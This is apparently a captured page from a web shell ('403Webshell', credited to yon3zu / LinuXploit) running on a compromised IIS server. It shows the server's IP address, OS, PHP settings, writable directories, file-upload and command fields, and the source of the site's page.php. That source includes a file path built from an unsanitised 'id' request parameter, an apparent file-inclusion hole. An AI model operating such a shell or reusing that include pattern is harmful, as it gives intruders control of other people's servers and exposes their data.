403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/icd/msc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/icd/msc/page.php
<?php

	include_once 'lib/lib.php';

	$pageid = Utils::vRequest("id");

	$page_title = "";

	$mCtrl = new Controller("page", $page_title);


	$page_file = "pages/{$pageid}_{$mCtrl->CurrentLanguage}.php";
	if (!file_exists($page_file)){
		$page_file = "pages/{$pageid}_{$mCtrl->CurrentLanguage}.html";
	}
	
	$fileOK = file_exists($page_file);

	if ($fileOK){
		$fc = file_get_contents($page_file);

		$matches = NULL;
		//preg_match('@^(?:http://)?([^/]+)@i', $fc, $matches);
		preg_match('@(\<\!--[ ]+TITLE=)(.+)([ ]+-->)@i', $fc, $matches);
		if (FALSE){
			echo "<pre>";
			var_dump($matches);
			echo "</pre>";
		}
		if ($matches){
			if (is_array($matches)){
				if (count($matches) == 4){
					$page_title = $matches[2];
				}
			}
		}
	}



	//$mCtrl = new Controller("page", $page_title);
	$mCtrl->title = $page_title;
	//$mCtrl->addToHead("");

	//if (!$fileOK) $mCtrl->redirectTo();

	$mCtrl->printHeaders();

	//$mCtrl->addSideBarBlock("δοκιμή", "δοκιμή", 300);
	if ($fileOK){
		//echo $fc;
		$mCtrl->includeSource("{$pageid}_{$mCtrl->CurrentLanguage}", "pages");
	}else{
		echo "page not found";
	}

?>


<?php
	$mCtrl->Close();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit